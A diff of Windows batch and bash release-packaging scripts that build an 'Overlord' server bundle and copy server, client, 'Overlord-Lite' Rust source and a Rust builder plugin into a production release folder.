robocopy "%LITE_PLUGIN_SRC%" "%RELEASE_DIR%\plugins\rust-lite-builder" /E /XD data /XF rust-lite-builder.zip >nul
if errorlevel 8 goto :robocopy_err
echo [9/11] Copying required public web assets...
robocopy "%SERVER_SRC%\public" "%RELEASE_DIR%\public" /E >nul
if errorlevel 8 goto :robocopy_err
echo [9/10] Minifying public JS, CSS, and HTML assets...
echo [10/11] Minifying public JS, CSS, and HTML assets...
pushd "%SERVER_SRC%"
call bun run scripts/minify-public.ts --dir "%RELEASE_DIR%\public"
if errorlevel 1 goto :err
popd
echo [10/10] Creating runner scripts...
echo [11/11] Creating runner scripts...
(
echo @echo off
+21 -5
View File
@@ -5,6 +5,8 @@ SCRIPT_DIR="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
ROOT="$(cd -- "$SCRIPT_DIR/.." && pwd)"
SERVER_SRC="$ROOT/Overlord-Server"
CLIENT_SRC="$ROOT/Overlord-Client"
LITE_SRC="$ROOT/Overlord-Lite"
LITE_PLUGIN_SRC="$ROOT/plugins/rust-lite-builder"
DIST_CLIENTS_SRC="$ROOT/dist-clients"
RELEASE_DIR="$ROOT/release/prod-package"
@@ -18,6 +20,16 @@ if [[ ! -f "$CLIENT_SRC/go.mod" ]]; then
exit 1
fi
if [[ ! -f "$LITE_SRC/Cargo.toml" ]]; then
echo "[error] Overlord-Lite not found at: $LITE_SRC" >&2
exit 1
fi
if [[ ! -f "$LITE_PLUGIN_SRC/config.json" ]]; then
echo "[error] Rust Lite Builder plugin not found at: $LITE_PLUGIN_SRC" >&2
exit 1
fi
if ! command -v bun >/dev/null 2>&1; then
echo "[error] bun was not found in PATH." >&2
exit 1
@@ -49,25 +61,29 @@ copy_tree_excluding() {
fi
}
echo "[1/5] Building server bundle..."
echo "[1/6] Building server bundle..."
pushd "$SERVER_SRC" >/dev/null
bun install
bun run build:css
bun run build
popd >/dev/null
echo "[2/5] Skipping prebuilt client binaries (prod package exports client source only)"
echo "[2/6] Skipping prebuilt client binaries (prod package exports client source only)"
echo "[3/5] Preparing release folder..."
echo "[3/6] Preparing release folder..."
rm -rf "$RELEASE_DIR"
mkdir -p "$RELEASE_DIR"
echo "[4/5] Exporting Overlord-Server..."
echo "[4/6] Exporting Overlord-Server..."
copy_tree_excluding "$SERVER_SRC" "$RELEASE_DIR/Overlord-Server" "node_modules" ".git" ".vscode"
echo "[5/5] Exporting Overlord-Client source for runtime builds..."
echo "[5/6] Exporting Overlord-Client source for runtime builds..."
copy_tree_excluding "$CLIENT_SRC" "$RELEASE_DIR/Overlord-Client" "build" ".git" ".vscode"
echo "[6/6] Exporting Overlord-Lite source and Rust builder plugin..."
copy_tree_excluding "$LITE_SRC" "$RELEASE_DIR/Overlord-Lite" "target" ".git" ".vscode"
copy_tree_excluding "$LITE_PLUGIN_SRC" "$RELEASE_DIR/Overlord-Server/plugins/rust-lite-builder" "data" "rust-lite-builder.zip"
if [[ -d "$DIST_CLIENTS_SRC" ]]; then
echo "[extra] Copying prebuilt dist-clients..."
mkdir -p "$RELEASE_DIR/dist-clients"